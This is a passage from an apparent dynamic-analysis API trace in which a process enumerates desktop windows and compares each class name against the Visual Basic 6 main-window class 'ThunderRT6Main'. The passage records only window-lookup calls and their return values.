GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0125.601] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.601] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.601] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0125.601] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0125.601] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0125.601] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0125.635] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.635] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.636] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0125.636] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0125.636] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0125.636] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0125.636] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.636] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.636] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0125.636] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0125.636] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0125.637] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0125.637] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.637] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.637] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0125.637] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0125.637] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0125.637] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0125.637] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.637] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.638] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0125.638] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0125.638] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0125.638] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0125.638] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.638] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.638] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0125.638] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0125.638] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0125.639] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0125.639] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.639] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.639] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0125.639] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0125.639] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0125.639] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0125.639] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.639] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.640] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0125.640] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0125.640] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0125.640] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0125.640] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.640] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.641] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0125.641] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0125.641] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0125.641] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0125.641] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.641] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.641] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0125.641] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0125.641] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0125.641] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0125.642] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.642] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.642] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0125.642] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0125.642] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0125.642] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0125.642] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.642] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.642] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0125.642] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0125.643] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0125.643] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0125.643] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.643] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.643] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0125.643] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0125.643] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0125.643] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0125.643] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.643] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.644] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0125.644] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0125.644] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0125.644] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0125.644] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.644] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.644] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0125.644] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0125.644] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0125.645] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0125.645] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.645] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.645] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0125.645] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0125.645] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0125.645] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0125.645] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.645] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.646] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0125.646] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0125.646] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0125.646] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0125.646] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.646] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.646] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0125.646] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0125.646] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0125.646] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0125.647] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.647] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.647] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0125.647] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0125.647] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0125.647] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0125.647] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.647] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.647] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0125.647] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0125.647] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0125.648] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0125.648] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.648] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.648] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0125.648] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0125.648] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0125.648] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0125.648] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.648] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.649] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0125.649] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0125.649] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0125.649] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0125.649] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.649] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.649] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0125.649] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0125.649] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0125.650] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0125.650] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.650] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.650] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0125.650] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0125.650] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0125.650] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0125.650] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.650] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.651] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0125.651] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0125.651] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0125.651] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0125.651] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.651] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.651] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0125.651] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0125.651] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0125.652] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0125.652] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.652] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.652] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0125.652] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0125.652] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0125.652] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0125.652] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.652] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.653] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0125.653] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0125.653] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0125.653] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0125.653] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.653] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.653] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0125.653] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0125.653] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0125.654] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0125.654] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.654] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.654] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0125.654] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0125.654] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0125.654] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0125.654] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.654] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.655] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0125.655] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0125.655] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0125.655] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0125.655] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.655] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.655] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0125.655] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0125.655] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0125.656] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0125.656] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.656] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.656] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0125.656] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0125.656] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0125.656] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0125.656] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.656] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.657] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0125.657] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0125.657] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0125.657] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0125.657] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.657] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.657] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0125.657] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0125.657] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0125.658] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0125.658] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.658] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.658] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0125.658] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0125.658] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0125.658] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0125.658] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.658] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.659] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0125.659] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0125.659] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0125.659] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0125.659] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.659] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.659] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0125.659] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0125.659] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0125.659] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0125.659] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.660] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.660] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0125.660] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0125.660] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0125.660] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0125.660] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.660] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.660] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0125.660] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0125.660] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0125.661] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0125.661] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.661] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.661] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0125.661] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0125.661] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0125.661] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0125.661] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.661] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.662] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0125.662] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0125.662] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0125.662] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0125.662] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.662] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.662] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0125.662] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0125.662] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0125.663] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0125.663] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.663] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.663] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0125.663] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0125.663] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0125.663] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0125.663] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.663] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.663] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0125.664] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0125.664] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0125.664] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0125.682] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0125.682] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0125.683] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0125.683] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0125.683] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0125.683] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0125.683] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0125.683] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0125.684] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0125.684] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0125.684] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0125.684] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0125.684] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.684] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.684] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0125.684] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0125.684] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0125.685] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0125.685] GetClassNameA (in: hWnd=0x10126, 